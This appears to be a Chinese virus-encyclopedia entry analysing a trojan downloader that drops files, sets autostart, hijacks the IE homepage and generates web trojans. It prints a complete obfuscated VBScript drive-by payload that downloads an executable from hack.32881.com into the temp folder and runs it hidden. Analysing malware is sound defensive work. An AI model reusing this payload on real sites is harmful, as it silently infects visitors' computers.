豆豆网马962560 Win32.TrojDownloader.Delf.962560是一个木马下载者程序。该病毒成功运行起来后，就会从指定的地址下载其它病毒并运行。同时，这个病毒带有一个木马生成器，会在用户系统中生成大量能利用网页传播的脚本病毒。

1.程序运行后，下载文件几百个，有txt,jpg,js等各种病毒文件
C:\Documents and Settings\fish\Cookies\fish@32881[2].txt
C:\Documents and Settings\fish\Cookies\fish@p4p.cnaz[1].txt
C:\Documents and Settings\fish\Cookies\fish@site_pv[1].txt
C:\Documents and Settings\fish\Cookies\fish@www.32881[1].txt
C:\Documents and Settings\fish\Cookies\fish@yahoo[2].txt
.
.
.
C:\Documents and Settings\fish\Local Settings\Temporary Internet Files\Content.IE5\2PF3QNZE\72x72_2[1].gif
C:\Documents and Settings\fish\Local Settings\Temporary Internet Files\Content.IE5\2PF3QNZE\72x72_7[1].gif
C:\Documents and Settings\fish\Local Settings\Temporary Internet Files\Content.IE5\2PF3QNZE\7_0_0[1].htm
C:\Documents and Settings\fish\Local Settings\Temporary Internet Files\Content.IE5\2PF3QNZE\big[1].jpg
C:\Documents and Settings\fish\Local Settings\Temporary Internet Files\Content.IE5\2PF3QNZE\bor1_bg[1].jpg
C:\Documents and Settings\fish\Local Settings\Temporary Internet Files\Content.IE5\2PF3QNZE\img200803251448520[1].jpg
.
.
.
C:\Documents and Settings\fish\Local Settings\Temporary Internet Files\Content.IE5\TIH5F1C8\ystat[1].js

2.添加注册表项，实现开机自启动：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.htm

3.病毒运行后，运行豆豆网马生成器，其中网马地址可改动。生成网马文件内容类似：

on error resume next
dl = "http://hack.32881.com/muma.exe" //其中这个网马的网址可以修改
Set df = document.createElement("ob"&"ject")
df.setAttribute "classid", "clsid:BD96C55"&"6-65A3-11D0-983A-00C04FC29E36"
str="Microsoft"&".XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"&"ea"
str1=a1&a2&a3
str5=str1
set S = df.createobject(str5&"m","")
S.type = 1
str6="G"&"ET"
x.Open str6, dl, False
x.Send
fname1="g0ld"&".com"
set F = df.createobject("Scripti"&"ng.FilesystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Ap"&"plication","")
Q.ShellExecute fname1,"","","ope"&"n",0

4.病毒会修改IE主页内容为http://www.32881.com/，并设为默认首页